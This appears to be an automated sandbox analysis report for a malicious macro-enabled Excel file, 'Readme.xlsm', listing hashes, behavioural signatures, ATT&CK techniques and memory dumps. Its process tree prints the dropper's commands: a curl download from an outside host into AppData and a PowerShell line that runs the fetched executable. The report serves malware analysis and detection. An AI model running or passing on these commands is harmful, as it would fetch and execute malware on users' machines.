34f1a9c906fc08849f9c7d85edfa9915b46516a0708d2835f7a19ba9e5a1b386

General

Target

Readme.xlsm
Size

11KB
MD5

25f485e0ef7ee4ad57dcf6b31349acc7
SHA1

3a24b3e770b146665f218080808269267727cd43
SHA256

34f1a9c906fc08849f9c7d85edfa9915b46516a0708d2835f7a19ba9e5a1b386
SHA512

54f1c10527d0a81bed803aa3949cad4a124379087ac4dc02d029e0736f9540488408e8f44469fdf8d124e2bab2b9d08af1eefcb139101abb5aedf8066a4e91c7

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2212	900	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3752	900	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

900 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2212 powershell.exe
2212 powershell.exe
2212 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2212 powershell.exe

pid	process
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2212	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE
900	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 900 wrote to memory of 2212	900	EXCEL.EXE	powershell.exe
PID 900 wrote to memory of 2212	900	EXCEL.EXE	powershell.exe
PID 900 wrote to memory of 3752	900	EXCEL.EXE	cmd.exe
PID 900 wrote to memory of 3752	900	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Readme.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\EbXZN.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2212

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://atozlovebook.com/vision.iosapp -o %appdata%\EbXZN.exe
2⤵
- Process spawned unexpected child process
PID:3752

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/900-293-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-115-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-116-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-117-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-118-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-121-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-122-0x00007FFD4B6C0000-0x00007FFD4C7AE000-memory.dmp

Filesize
16.9MB

Download
memory/900-123-0x00007FFD497C0000-0x00007FFD4B6B5000-memory.dmp

Filesize
31.0MB

Download
memory/900-114-0x00007FF7F0840000-0x00007FF7F3DF6000-memory.dmp

Filesize
53.7MB

Download
memory/900-296-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-295-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/900-294-0x00007FFD2ADC0000-0x00007FFD2ADD0000-memory.dmp

Filesize
64KB

Download
memory/2212-256-0x0000000000000000-mapping.dmp

Download
memory/2212-269-0x000001A504AB3000-0x000001A504AB5000-memory.dmp

Filesize
8KB

Download
memory/2212-281-0x000001A504AB6000-0x000001A504AB8000-memory.dmp

Filesize
8KB

Download
memory/2212-268-0x000001A504AB0000-0x000001A504AB2000-memory.dmp

Filesize
8KB

Download
memory/2212-267-0x000001A51D280000-0x000001A51D281000-memory.dmp

Filesize
4KB

Download
memory/2212-264-0x000001A504B40000-0x000001A504B41000-memory.dmp

Filesize
4KB

Download
memory/3752-257-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads